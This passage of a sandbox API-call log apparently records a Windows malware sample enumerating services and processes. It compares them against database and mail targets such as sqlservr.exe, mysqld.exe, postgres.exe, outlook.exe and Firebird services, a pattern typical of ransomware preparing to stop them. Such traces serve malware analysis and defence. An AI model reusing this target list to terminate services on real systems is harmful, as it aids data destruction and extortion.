	[0060.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0060.344] lstrlenW (lpString="NlaSvc") returned 6
	[0060.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0060.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0060.344] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0060.344] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0060.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0060.344] lstrlenW (lpString="nsi") returned 3
	[0060.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0060.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0060.344] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0060.344] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0060.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0060.344] lstrlenW (lpString="PcaSvc") returned 6
	[0060.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0060.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0060.344] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0060.344] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0060.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0060.344] lstrlenW (lpString="PlugPlay") returned 8
	[0060.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0060.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0060.344] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0060.344] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0060.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0060.344] lstrlenW (lpString="Power") returned 5
	[0060.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0060.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0060.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0060.345] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0060.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0060.345] lstrlenW (lpString="ProfSvc") returned 7
	[0060.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0060.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0060.345] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0060.345] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0060.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0060.345] lstrlenW (lpString="RpcEptMapper") returned 12
	[0060.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0060.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0060.345] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0060.345] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0060.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0060.345] lstrlenW (lpString="RpcSs") returned 5
	[0060.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0060.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0060.345] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0060.345] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0060.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0060.345] lstrlenW (lpString="SamSs") returned 5
	[0060.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0060.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0060.345] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0060.345] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0060.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0060.345] lstrlenW (lpString="Schedule") returned 8
	[0060.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0060.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0060.345] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0060.345] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0060.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0060.346] lstrlenW (lpString="SENS") returned 4
	[0060.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0060.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0060.346] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0060.346] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0060.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0060.346] lstrlenW (lpString="ShellHWDetection") returned 16
	[0060.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0060.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0060.346] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0060.346] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0060.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0060.346] lstrlenW (lpString="Spooler") returned 7
	[0060.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0060.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0060.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0060.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0060.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0060.346] lstrlenW (lpString="swprv") returned 5
	[0060.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0060.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0060.346] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0060.346] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0060.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0060.346] lstrlenW (lpString="SysMain") returned 7
	[0060.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0060.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0060.346] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0060.346] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0060.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0060.346] lstrlenW (lpString="Themes") returned 6
	[0060.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0060.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0060.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0060.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0060.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0060.347] lstrlenW (lpString="TrkWks") returned 6
	[0060.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0060.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0060.347] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0060.347] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0060.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0060.347] lstrlenW (lpString="UxSms") returned 5
	[0060.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0060.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0060.347] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0060.347] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0060.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0060.347] lstrlenW (lpString="VSS") returned 3
	[0060.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0060.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0060.347] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0060.347] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0060.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0060.347] lstrlenW (lpString="WdiServiceHost") returned 14
	[0060.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0060.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0060.347] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0060.347] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0060.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0060.347] lstrlenW (lpString="WdiSystemHost") returned 13
	[0060.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0060.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0060.348] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0060.348] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0060.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0060.348] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0060.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0060.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0060.348] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0060.348] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0060.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0060.348] lstrlenW (lpString="Winmgmt") returned 7
	[0060.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0060.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0060.348] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0060.348] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0060.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0060.348] lstrlenW (lpString="WPDBusEnum") returned 10
	[0060.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0060.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0060.348] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0060.348] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0060.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0060.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e4198 | out: hHeap=0x4f0000) returned 1
	[0060.348] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x18c
	[0060.351] Process32FirstW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0060.351] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0060.352] lstrlenW (lpString="System") returned 6
	[0060.352] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0060.352] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0060.352] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0060.352] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0060.352] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0060.352] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0060.352] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0060.352] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0060.353] lstrlenW (lpString="smss.exe") returned 8
	[0060.353] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0060.353] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0060.353] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0060.353] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0060.353] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0060.353] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0060.353] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0060.353] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0060.354] lstrlenW (lpString="csrss.exe") returned 9
	[0060.354] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0060.354] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0060.354] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0060.354] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0060.354] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0060.354] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0060.354] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0060.354] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0060.355] lstrlenW (lpString="wininit.exe") returned 11
	[0060.355] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0060.355] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0060.355] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0060.356] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0060.356] lstrlenW (lpString="csrss.exe") returned 9
	[0060.356] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0060.357] lstrlenW (lpString="winlogon.exe") returned 12
	[0060.357] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0060.358] lstrlenW (lpString="services.exe") returned 12
	[0060.358] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0060.359] lstrlenW (lpString="lsass.exe") returned 9
	[0060.359] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0060.359] lstrlenW (lpString="lsm.exe") returned 7
	[0060.359] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.360] lstrlenW (lpString="svchost.exe") returned 11
	[0060.360] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.361] lstrlenW (lpString="svchost.exe") returned 11
	[0060.361] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.362] lstrlenW (lpString="svchost.exe") returned 11
	[0060.362] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.362] lstrlenW (lpString="svchost.exe") returned 11
	[0060.363] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.363] lstrlenW (lpString="svchost.exe") returned 11
	[0060.363] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0060.364] lstrlenW (lpString="audiodg.exe") returned 11
	[0060.364] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.365] lstrlenW (lpString="svchost.exe") returned 11
	[0060.365] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.366] lstrlenW (lpString="svchost.exe") returned 11
	[0060.366] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0060.366] lstrlenW (lpString="dwm.exe") returned 7
	[0060.366] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0060.367] lstrlenW (lpString="explorer.exe") returned 12
	[0060.367] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0060.368] lstrlenW (lpString="spoolsv.exe") returned 11
	[0060.368] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0060.369] lstrlenW (lpString="taskhost.exe") returned 12
	[0060.369] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.369] lstrlenW (lpString="svchost.exe") returned 11
	[0060.369] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0060.370] lstrlenW (lpString="taskeng.exe") returned 11
	[0060.370] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0060.463] lstrlenW (lpString="taskhost.exe") returned 12
	[0060.463] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0060.463] lstrlenW (lpString="program.exe") returned 11
	[0060.464] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0060.465] lstrlenW (lpString="felt.exe") returned 8
	[0060.465] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0060.465] lstrlenW (lpString="bibliography.exe") returned 16
	[0060.465] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0060.466] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0060.466] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0060.467] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0060.467] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0060.468] lstrlenW (lpString="converter.exe") returned 13
	[0060.468] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0060.469] lstrlenW (lpString="once.exe") returned 8
	[0060.469] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0060.469] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0060.469] Process32NextW (in: hSnapshot=0x18c, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0060.470] lstrlenW (lpString="always.exe") returned 10
